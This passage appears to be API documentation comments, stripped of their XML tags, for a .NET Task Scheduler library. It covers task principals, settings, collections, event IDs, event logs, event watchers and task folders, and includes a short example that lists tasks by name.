tasks that are associated with the principal. Setting + this property to something other than a null or empty string, will set the property to NULL and will set + the property to TaskLogonType.Group; + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier of the principal. + Not supported under Task Scheduler 1.0. + + + Gets or sets the security logon method that is required to run the tasks that are associated with the principal. + + TaskLogonType values of Group, None, or S4UNot are not supported under Task Scheduler 1.0. + + + + Gets or sets the task process security identifier (SID) type. + One of the enumeration constants. + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + Not supported under Task Scheduler versions prior to 2.1. + + + + Gets the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + + + + Gets or sets the identifier that is used to specify the privilege level that is required to run the tasks that are associated + with the principal. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets the user identifier that is required to run the tasks that are associated with the principal. Setting this property + to something other than a null or empty string, will set the property to NULL; + + + + Validates the supplied account against the supplied . + The user or group account name. + The SID type for the process. + true if supplied account can be used for the supplied SID type. + + + Releases all resources used by this class. + + + Gets a value indicating whether current Principal settings require a password to be provided. + true if settings requires a password to be provided; otherwise, false. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + List of security credentials for a principal under version 1.3 of the Task Scheduler. These security credentials define the security + context for the tasks that are associated with the principal. + + + + Gets the number of elements contained in the . + The number of elements contained in the . + + + Gets a value indicating whether the is read-only. + true if the is read-only; otherwise, false. + + + Gets or sets the element at the specified index. + The element at the specified index. + is not a valid index in the . + + The property is set and the is read-only. + + + + Adds an item to the . + The object to add to the . + The is read-only. + + + Determines whether the contains a specific value. + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + Copies to. + The array. + Index of the array. + + + Returns an enumerator that iterates through the collection. + A that can be used to iterate through the collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Removes all items from the . + The is read-only. + + + Inserts an item to the at the specified index. + The zero-based index at which should be inserted. + The object to insert into the . + is not a valid index in the . + The is read-only. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; + otherwise, false. This method also returns false if is not found in the original . + + The is read-only. + + + Removes the item at the specified index. + The zero-based index of the item to remove. + is not a valid index in the . + The is read-only. + + + Enumerates the privileges set for a principal under version 1.3 of the Task Scheduler. + + + Gets the element in the collection at the current position of the enumerator. + The element in the collection at the current position of the enumerator. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Advances the enumerator to the next element of the collection. + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + The collection was modified after the enumerator was created. + + + Sets the enumerator to its initial position, which is before the first element in the collection. + The collection was modified after the enumerator was created. + + + + Provides the administrative information that can be used to describe the task. This information includes details such as a + description of the task, the author of the task, the date the task is registered, and the security descriptor of the task. + + + + Occurs when a property value changes. + + + Gets or sets the author of the task. + + + Gets or sets the date and time when the task is registered. + + + Gets or sets the description of the task. + + + Gets or sets any additional documentation for the task. + + + Gets or sets the security descriptor of the task. + The security descriptor. + + + Gets or sets the security descriptor of the task. + Not supported under Task Scheduler 1.0. + + + + Gets or sets where the task originated from. For example, a task may originate from a component, service, application, or user. + + + + Gets or sets the URI of the task. + + Note: Breaking change in version 2.0. This property was previously of type . It was found that in + Windows 8, many of the native tasks use this property in a string format rather than in a URI format. + + + + Gets or sets the version number of the task. + + + Gets or sets an XML-formatted version of the registration information for the task. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to perform the task. + + + Occurs when a property value changes. + + + + Gets or sets a Boolean value that indicates that the task can be started by using either the Run command or the Context menu. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task may be terminated by using TerminateProcess. + Not supported under Task Scheduler 1.0. + + + Gets or sets an integer value that indicates which version of Task Scheduler a task is compatible with. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. If no value is + specified for this property, then the Task Scheduler service will not delete the task. + + + Gets and sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. A TimeSpan value + of 1 second indicates the task is set to delete when done. A value of TimeSpan.Zero indicates that the task should not be deleted. + + + A task expires after the end boundary has been exceeded for all triggers associated with the task. The end boundary for a + trigger is specified by the EndBoundary property of all trigger types. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the computer is running on battery power. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the task is triggered to run in a Remote + Applications Integrated Locally (RAIL) session. + + Property set for a task on a Task Scheduler version prior to 2.1. + + + + Gets or sets a Boolean value that indicates that the task is enabled. The task can be performed only when this setting is TRUE. + + + + + Gets or sets the amount of time that is allowed to complete the task. By default, a task will be stopped 72 hours after it + starts to run. + + + The amount of time that is allowed to complete the task. When this parameter is set to , the + execution time limit is infinite. + + + If a task is started on demand, the ExecutionTimeLimit setting is bypassed. Therefore, a task that is started on demand will not + be terminated if it exceeds the ExecutionTimeLimit. + + + + Gets or sets a Boolean value that indicates that the task will not be visible in the UI by default. + + + Gets or sets the information that the Task Scheduler uses during Automatic maintenance. + + + Gets or sets the policy that defines how the Task Scheduler handles multiple instances of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets the priority level of the task. + The priority. + Value set to AboveNormal or BelowNormal on Task Scheduler 1.0. + + + Gets or sets the number of times that the Task Scheduler will attempt to restart the task. + + The number of times that the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that specifies how long the Task Scheduler will attempt to restart the task. + + A value that specifies how long the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the user is logged on (v1.0 only) + + Property set for a task on a Task Scheduler version other than 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only when a network is available. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task will be stopped if the computer switches to battery power. + + + Gets or sets a Boolean value that indicates that the Unified Scheduling Engine will be utilized to run this task. + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a boolean value that indicates whether the task is automatically disabled every time Windows starts. + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will wake the computer when it is time to run the task. + + + + Gets or sets an XML-formatted definition of the task settings. + + + + Gets or sets the information that specifies how the Task Scheduler performs tasks when the computer is in an idle state. + + + + + Gets or sets the network settings object that contains a network profile identifier and name. If the RunOnlyIfNetworkAvailable + property of ITaskSettings is true and a network profile is specified in the NetworkSettings property, then the task will run + only if the specified network profile is available. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Collection of running tasks in a . This class has no public constructor and can only be accessed via the + properties and functions within . + + + + Gets the number of registered tasks in the collection. + + + Gets the specified running task from the collection. + The index of the running task to be retrieved. + A instance. + + + Releases all resources used by this class. + + + Gets an IEnumerator instance for this collection. + An enumerator. + + + Returns a that represents this instance. + A that represents this instance. + + + Releases all resources used by this class. + + + + Contains all the tasks that are registered within a . This class has no public constructor and can only be + accessed via the properties and functions within . + + + Potentially breaking change in 1.6.2 and later where under V1 the list previously included the '.job' extension on the task name. + This has been removed so that it is consistent with V2. + + + public class Program + { + bool RootFolderHasTask(string taskName) + { + if (TaskService.Instance.RootFolder.Tasks.Count > 0) + { + return TaskService.Instance.RootFolder.Tasks.Exists(taskName); + } + return false; + } + + TaskCollection GetRootTasksStartingWith(string value) + { + var pattern = $"^{Regex.Escape(value)}.*$"; + return TaskService.Instance.RootFolder.GetTasks(new Regex(pattern)); + } + + public static void Main() + { + foreach (var task in GetRootTasksStartingWith("MyCo")) + if (RootFolderHasTask(task.Name)) + Console.WriteLine(task.Name); + } + } + + + + Gets the number of registered tasks in the collection. + + + Gets or sets the regular expression filter for task names. + The regular expression filter. + + + Gets the specified registered task from the collection. + The index of the registered task to be retrieved. + A instance that contains the requested context. + + + Gets the named registered task from the collection. + The name of the registered task to be retrieved. + A instance that contains the requested context. + + + Releases all resources used by this class. + + + Determines whether the specified task exists. + The name of the task. + true if task exists; otherwise, false. + + + Gets the collection enumerator for the register task collection. + An for this collection. + + + Returns a that represents this instance. + A that represents this instance. + + + Internal constructor + TaskService instance + The filter. + + + Retrieves the current task. See for more information. + + + Releases all resources used by this class. + + + Moves to the next task. See MoveNext for more information. + true if next task found, false if no more tasks. + + + Reset task enumeration. See Reset for more information. + + + + Changes to tasks and the engine that cause events. + + + + Task Scheduler started an instance of a task for a user. + For detailed information, see the documentation for Event ID 100 on TechNet. + + + Task Scheduler failed to start a task for a user. + For detailed information, see the documentation for Event ID 101 on TechNet. + + + Task Scheduler successfully finished an instance of a task for a user. + For detailed information, see the documentation for Event ID 102 on TechNet. + + + Task Scheduler failed to start an instance of a task for a user. + For detailed information, see the documentation for Event ID 103 on TechNet. + + + Task Scheduler failed to log on the user. + For detailed information, see the documentation for Event ID 104 on TechNet. + + + Task Scheduler failed to impersonate a user. + For detailed information, see the documentation for Event ID 105 on TechNet. + + + The a user registered the Task Scheduler a task. + For detailed information, see the documentation for Event ID 106 on TechNet. + + + Task Scheduler launched an instance of a task due to a time trigger. + For detailed information, see the documentation for Event ID 107 on TechNet. + + + Task Scheduler launched an instance of a task due to an event trigger. + For detailed information, see the documentation for Event ID 108 on TechNet. + + + Task Scheduler launched an instance of a task due to a registration trigger. + For detailed information, see the documentation for Event ID 109 on TechNet. + + + Task Scheduler launched an instance of a task for a user. + For detailed information, see the documentation for Event ID 110 on TechNet. + + + Task Scheduler terminated an instance of a task due to exceeding the time allocated for execution, as configured in the task definition. + For detailed information, see the documentation for Event ID 111 on TechNet. + + + Task Scheduler could not start a task because the network was unavailable. Ensure the computer is connected to the required network as specified in the task. + For detailed information, see the documentation for Event ID 112 on TechNet. + + + The Task Scheduler registered the a task, but not all the specified triggers will start the task. Ensure all the task triggers are valid. + For detailed information, see the documentation for Event ID 113 on TechNet. + + + Task Scheduler could not launch a task as scheduled. Instance is started now as required by the configuration option to start the task when available, if the scheduled time is missed. + For detailed information, see the documentation for Event ID 114 on TechNet. + + + Task Scheduler failed to roll back a transaction when updating or deleting a task. + For detailed information, see the documentation for Event ID 115 on TechNet. + + + Task Scheduler saved the configuration for a task, but the credentials used to run the task could not be stored. + For detailed information, see the documentation for Event ID 116 on TechNet. + + + Task Scheduler launched an instance of a task due to an idle condition. + For detailed information, see the documentation for Event ID 117 on TechNet. + + + Task Scheduler launched an instance of a task due to system startup. + For detailed information, see the documentation for Event ID 118 on TechNet. + + + Task Scheduler launched an instance of a task due to a user logon. + For detailed information, see the documentation for Event ID 119 on TechNet. + + + Task Scheduler launched an instance of a task due to a user connecting to the console. + For detailed information, see the documentation for Event ID 120 on TechNet. + + + Task Scheduler launched an instance of a task due to a user disconnecting from the console. + For detailed information, see the documentation for Event ID 121 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely connecting. + For detailed information, see the documentation for Event ID 122 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely disconnecting. + For detailed information, see the documentation for Event ID 123 on TechNet. + + + Task Scheduler launched an instance of a task due to a user locking the computer. + For detailed information, see the documentation for Event ID 124 on TechNet. + + + Task Scheduler launched an instance of a task due to a user unlocking the computer. + For detailed information, see the documentation for Event ID 125 on TechNet. + + + Task Scheduler failed to execute a task. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 126 on TechNet. + + + Task Scheduler failed to execute a task due to a shutdown race condition. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 127 on TechNet. + + + Task Scheduler did not launch a task because the current time exceeds the configured task end time. + For detailed information, see the documentation for Event ID 128 on TechNet. + + + Task Scheduler launched an instance of a task in a new process. + For detailed information, see the documentation for Event ID 129 on TechNet. + + + The Task Scheduler service failed to start a task due to the service being busy. + For detailed information, see the documentation for Event ID 130 on TechNet. + + + Task Scheduler failed to start a task because the number of tasks in the task queue exceeds the quota currently configured. + For detailed information, see the documentation for Event ID 131 on TechNet. + + + The Task Scheduler task launching queue quota is approaching its preset limit of tasks currently configured. + For detailed information, see the documentation for Event ID 132 on TechNet. + + + Task Scheduler failed to start a task in the task engine for a user. + For detailed information, see the documentation for Event ID 133 on TechNet. + + + Task Engine for a user is approaching its preset limit of tasks. + For detailed information, see the documentation for Event ID 134 on TechNet. + + + Task Scheduler did not launch a task because launch condition not met, machine not idle. + For detailed information, see the documentation for Event ID 135 on TechNet. + + + A user updated Task Scheduler a task + For detailed information, see the documentation for Event ID 140 on TechNet. + + + A user deleted Task Scheduler a task + For detailed information, see the documentation for Event ID 141 on TechNet. + + + A user disabled Task Scheduler a task + For detailed information, see the documentation for Event ID 142 on TechNet. + + + Task Scheduler woke up the computer to run a task. + For detailed information, see the documentation for Event ID 145 on TechNet. + + + Task Scheduler failed to subscribe the event trigger for a task. + For detailed information, see the documentation for Event ID 150 on TechNet. + + + Task Scheduler launched an action in an instance of a task. + For detailed information, see the documentation for Event ID 200 on TechNet. + + + Task Scheduler successfully completed a task instance and action. + For detailed information, see the documentation for Event ID 201 on TechNet. + + + Task Scheduler failed to complete an instance of a task with an action. + For detailed information, see the documentation for Event ID 202 on TechNet. + + + Task Scheduler failed to launch an action in a task instance. + For detailed information, see the documentation for Event ID 203 on TechNet. + + + Task Scheduler failed to retrieve the event triggering values for a task . The event will be ignored. + For detailed information, see the documentation for Event ID 204 on TechNet. + + + Task Scheduler failed to match the pattern of events for a task. The events will be ignored. + For detailed information, see the documentation for Event ID 205 on TechNet. + + + Task Scheduler is shutting down the a task engine. + For detailed information, see the documentation for Event ID 301 on TechNet. + + + Task Scheduler is shutting down the a task engine due to an error. + For detailed information, see the documentation for Event ID 303 on TechNet. + + + Task Scheduler sent a task to a task engine. + For detailed information, see the documentation for Event ID 304 on TechNet. + + + Task Scheduler did not send a task to a task engine. + For detailed information, see the documentation for Event ID 305 on TechNet. + + + For a Task Scheduler task engine, the thread pool failed to process the message. + For detailed information, see the documentation for Event ID 306 on TechNet. + + + The Task Scheduler service failed to connect to a task engine process. + For detailed information, see the documentation for Event ID 307 on TechNet. + + + Task Scheduler connected to a task engine process. + For detailed information, see the documentation for Event ID 308 on TechNet. + + + There are Task Scheduler tasks orphaned during a task engine shutdown. + For detailed information, see the documentation for Event ID 309 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 310 on TechNet. + + + Task Scheduler failed to start a task engine process due to an error. + For detailed information, see the documentation for Event ID 311 on TechNet. + + + Task Scheduler created the Win32 job object for a task engine. + For detailed information, see the documentation for Event ID 312 on TechNet. + + + The Task Scheduler channel is ready to send and receive messages. + For detailed information, see the documentation for Event ID 313 on TechNet. + + + Task Scheduler has no tasks running for a task engine, and the idle timer has started. + For detailed information, see the documentation for Event ID 314 on TechNet. + + + A task engine process failed to connect to the Task Scheduler service. + For detailed information, see the documentation for Event ID 315 on TechNet. + + + A task engine failed to send a message to the Task Scheduler service. + For detailed information, see the documentation for Event ID 316 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 317 on TechNet. + + + Task Scheduler shut down a task engine process. + For detailed information, see the documentation for Event ID 318 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to launch a task. + For detailed information, see the documentation for Event ID 319 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to stop a task instance. + For detailed information, see the documentation for Event ID 320 on TechNet. + + + Task Scheduler did not launch a task because an instance of the same task is already running. + For detailed information, see the documentation for Event ID 322 on TechNet. + + + Task Scheduler stopped an instance of a task in order to launch a new instance. + For detailed information, see the documentation for Event ID 323 on TechNet. + + + Task Scheduler queued an instance of a task and will launch it as soon as another instance completes. + For detailed information, see the documentation for Event ID 324 on TechNet. + + + Task Scheduler queued an instance of a task that will launch immediately. + For detailed information, see the documentation for Event ID 325 on TechNet. + + + Task Scheduler did not launch a task because the computer is running on batteries. If launching the task on batteries is required, change the respective flag in the task configuration. + For detailed information, see the documentation for Event ID 326 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is switching to battery power. + For detailed information, see the documentation for Event ID 327 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is no longer idle. + For detailed information, see the documentation for Event ID 328 on TechNet. + + + Task Scheduler stopped an instance of a task because the task timed out. + For detailed information, see the documentation for Event ID 329 on TechNet. + + + Task Scheduler stopped an instance of a task as request by a user . + For detailed information, see the documentation for Event ID 330 on TechNet. + + + Task Scheduler will continue to execute an instance of a task even after the designated timeout, due to a failure to create the timeout mechanism. + For detailed information, see the documentation for Event ID 331 on TechNet. + + + Task Scheduler did not launch a task because a user was not logged on when the launching conditions were met. Ensure the user is logged on or change the task definition to allow the task to launch when the user is logged off. + For detailed information, see the documentation for Event ID 332 on TechNet. + + + The Task Scheduler service has started. + For detailed information, see the documentation for Event ID 400 on TechNet. + + + The Task Scheduler service failed to start due to an error. + For detailed information, see the documentation for Event ID 401 on TechNet. + + + Task Scheduler service is shutting down. + For detailed information, see the documentation for Event ID 402 on TechNet. + + + The Task Scheduler service has encountered an error. + For detailed information, see the documentation for Event ID 403 on TechNet. + + + The Task Scheduler service has encountered an RPC initialization error. + For detailed information, see the documentation for Event ID 404 on TechNet. + + + The Task Scheduler service has failed to initialize COM. + For detailed information, see the documentation for Event ID 405 on TechNet. + + + The Task Scheduler service failed to initialize the credentials store. + For detailed information, see the documentation for Event ID 406 on TechNet. + + + Task Scheduler service failed to initialize LSA. + For detailed information, see the documentation for Event ID 407 on TechNet. + + + Task Scheduler service failed to initialize idle state detection module. Idle tasks may not be started as required. + For detailed information, see the documentation for Event ID 408 on TechNet. + + + The Task Scheduler service failed to initialize a time change notification. System time updates may not be picked by the service and task schedules may not be updated. + For detailed information, see the documentation for Event ID 409 on TechNet. + + + Task Scheduler service received a time system change notification. + For detailed information, see the documentation for Event ID 411 on TechNet. + + + Task Scheduler service failed to launch tasks triggered by computer startup. Restart the Task Scheduler service. + For detailed information, see the documentation for Event ID 412 on TechNet. + + + Task Scheduler service started Task Compatibility module. + For detailed information, see the documentation for Event ID 700 on TechNet. + + + Task Scheduler service failed to start Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 701 on TechNet. + + + Task Scheduler failed to initialize the RPC server for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 702 on TechNet. + + + Task Scheduler failed to initialize Net Schedule API for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 703 on TechNet. + + + Task Scheduler failed to initialize LSA for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 704 on TechNet. + + + Task Scheduler failed to start directory monitoring for the Task Compatibility module. + For detailed information, see the documentation for Event ID 705 on TechNet. + + + Task Compatibility module failed to update a task to the required status. + For detailed information, see the documentation for Event ID 706 on TechNet. + + + Task Compatibility module failed to delete a task. + For detailed information, see the documentation for Event ID 707 on TechNet. + + + Task Compatibility module failed to set a security descriptor for a task. + For detailed information, see the documentation for Event ID 708 on TechNet. + + + Task Compatibility module failed to update a task. + For detailed information, see the documentation for Event ID 709 on TechNet. + + + Task Compatibility module failed to upgrade existing tasks. Upgrade will be attempted again next time 'Task Scheduler' service starts. + For detailed information, see the documentation for Event ID 710 on TechNet. + + + Task Compatibility module failed to upgrade NetSchedule account. + For detailed information, see the documentation for Event ID 711 on TechNet. + + + Task Compatibility module failed to read existing store to upgrade tasks. + For detailed information, see the documentation for Event ID 712 on TechNet. + + + Task Compatibility module failed to load a task for upgrade. + For detailed information, see the documentation for Event ID 713 on TechNet. + + + Task Compatibility module failed to register a task for upgrade. + For detailed information, see the documentation for Event ID 714 on TechNet. + + + Task Compatibility module failed to delete LSA store for upgrade. + For detailed information, see the documentation for Event ID 715 on TechNet. + + + Task Compatibility module failed to upgrade existing scheduled tasks. + For detailed information, see the documentation for Event ID 716 on TechNet. + + + Task Compatibility module failed to determine if upgrade is needed. + For detailed information, see the documentation for Event ID 717 on TechNet. + + + Task scheduler was unable to upgrade the credential store from the Beta 2 version. You may need to re-register any tasks that require passwords. + For detailed information, see the documentation for Event ID 718 on TechNet. + + + A unknown value. + + + + Historical event information for a task. This class wraps and extends the class. + + + For events on systems prior to Windows Vista, this class will only have information for the TaskPath, TimeCreated and EventId properties. + + + + + Gets the activity id. This value is null for V1 events. + + + + + An indexer that gets the value of each of the data item values. This value is null for V1 events. + + + The data values. + + + + + Gets the event id. + + + + + Gets the underlying . This value is null for V1 events. + + + + + Gets the from the . + + + The . If not found, returns . + + + + + Gets the level. This value is null for V1 events. + + + + + Gets the op code. This value is null for V1 events. + + + + + Gets the process id. This value is null for V1 events. + + + + + Gets the record id. This value is null for V1 events. + + + + + Gets the task category. This value is null for V1 events. + + + + + Gets the task path. + + + + + Gets the time created. + + + + + Gets the user id. This value is null for V1 events. + + + + + Gets the version. This value is null for V1 events. + + + + + Gets the data value from the task specific event data item list. + + The name of the data element. + Contents of the requested data element if found. null if no value found. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the other parameter.Zero This object is equal to other. Greater than zero This object is greater than other. + + + + + Get indexer class for data values. + + + + + Gets the value of the specified property name. + + + The value. + + Name of the property. + Value of the specified property name. null if property does not exist. + + + + An enumerator over a task's history of events. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + + + Advances the enumerator to the next element of the collection. + + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + + The collection was modified after the enumerator was created. + + + + + Sets the enumerator to its initial position, which is before the first element in the collection. + + + The collection was modified after the enumerator was created. + + + + + Seeks the specified bookmark. + + The bookmark. + The offset. + + + + Seeks the specified origin. + + The origin. + The offset. + + + + Historical event log for a task. Only available for Windows Vista and Windows Server 2008 and later systems. + + Many applications have the need to audit the execution of the tasks they supply. To enable this, the library provides the TaskEventLog class that allows for TaskEvent instances to be enumerated. This can be done for single tasks or the entire system. It can also be filtered by specific events or criticality. + + + + + Initializes a new instance of the class. + + The task path. This can be retrieved using the property. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class. + + Name of the machine. + The task path. This can be retrieved using the property. + The domain. + The user. + The password. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class that looks at all task events from a specified time. + + The start time. + Name of the task. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The levels. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Gets the total number of events for this task. + + + + + Gets or sets a value indicating whether this is enabled. + + + true if enabled; otherwise, false. + + + + + Gets or sets a value indicating whether to enumerate in reverse when calling the default enumerator (typically with foreach statement). + + + true if enumerates in reverse (newest to oldest) by default; otherwise, false to enumerate oldest to newest. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through the collection. + + if set to true reverse. + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through a collection. + + + An object that can be used to iterate through the collection. + + + + + Information about the task event. + + + + + If possible, gets the task associated with this event. + + + The task or null if unable to retrieve. + + + + + Gets the . + + + The TaskEvent. + + + + + Gets the task name. + + + The task name. + + + + + Gets the task path. + + + The task path. + + + + + Watches system events related to tasks and issues a event when the filtered conditions are met. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + Sometimes, a developer will need to know about events as they occur. In this case, they can use the TaskEventWatcher component that enables the developer to watch a task, a folder, or the entire system for filtered events. + + Below is information on how to watch a folder for all task events. For a complete example, look at this sample project: TestTaskWatcher.zip + + + + + Initializes a new instance of the class. If other + properties are not set, this will watch for all events for all tasks on the local machine. + + + + + Initializes a new instance of the class watching only + those events for the task with the provided path on the local machine. + + The full path (folders and name) of the task to watch. + The task service. + $Invalid task name: {taskPath} + + + + Initializes a new instance of the class watching only + those events for the specified task. + + The task to watch. + Occurs if the is null. + + + + Initializes a new instance of the class watching only those events for + the tasks whose name matches the in the specified + and optionally all subfolders. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + Occurs if the is null. + + + + Initializes a new instance of the class. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The task service. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user as a secure string. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Occurs when a task or the task engine records an event. + + + + + Gets or sets a value indicating whether the component is enabled. + + + true if enabled; otherwise, false. + + + + + Gets the filter for this . + + + The filter. + + + + + Gets or sets the folder to watch. + + + The folder path to watch. This value should include the leading "\" to indicate the root folder. + + Thrown if the folder specified does not exist or contains invalid characters. + + + + Gets or sets a value indicating whether to include events from subfolders when the + property is set. If the property is set, + this property is ignored. + + true if include events from subfolders; otherwise, false. + + + + Gets or sets the synchronizing object. + + + The synchronizing object. + + + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + + + Gets or sets the instance associated with this event watcher. Setting this value + will override any values set for , , + , and and set them to those values in the supplied + instance. + + The TaskService. + + + + Gets or sets the user account domain to be used when connecting to the . + + The user account domain. + + + + Gets or sets the user name to be used when connecting to the . + + The user name. + + + + Gets or sets the user password to be used when connecting to the . + + The user password. + + + + Gets a value indicating if watching is available. + + + + + Signals the object that initialization is starting. + + + + + Signals the object that initialization is complete. + + + + + Releases the unmanaged resources used by the FileSystemWatcher and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Fires the event. + + The sender. + The instance containing the event data. + + + + Holds filter information for a . + + + + + Gets or sets an optional array of event identifiers to use when filtering those events that will fire a event. + + + The array of event identifier filters. All know task event identifiers are declared in the enumeration. + + + + + Gets or sets an optional array of event levels to use when filtering those events that will fire a event. + + + The array of event levels. While event providers can define custom levels, most will use integers defined in the System.Diagnostics.Eventing.Reader.StandardEventLevel enumeration. + + + + + Gets or sets the task name, which can utilize wildcards, to look for when watching a folder. + + A task name or wildcard. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Provides the methods that are used to register (create) tasks in the folder, remove tasks from the folder, and create or remove subfolders from the folder. + + + + + Releases all resources used by this class. + + + + + Gets a which enumerates all the tasks in this and all subfolders. + + + A for all instances. + + + + + Gets the name that is used to identify the folder that contains a task. + + + + + Gets the parent folder of this folder. + + + The parent folder, or null if this folder is the root folder. + + + + + Gets the path to where the folder is stored. + + + + + Gets or sets the security descriptor of the task. + + The security descriptor. + + + + Gets all the subfolders in the folder. + + + + + Gets a collection of all the tasks in the folder. + + + + + Gets or sets the that manages this task. + + The task service. + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A value that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the parameter.Zero This object is equal to . Greater than zero This object is greater than . + + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The task security associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + Set this value to false to avoid having an exception called if the folder already exists. + A instance that represents the new subfolder. + Security descriptor mismatch between specified credentials and credentials on existing folder by same name. + Invalid SDDL form. + Not supported under Task Scheduler 1.0. + + + + Deletes a subfolder from the parent folder. Not available to Task 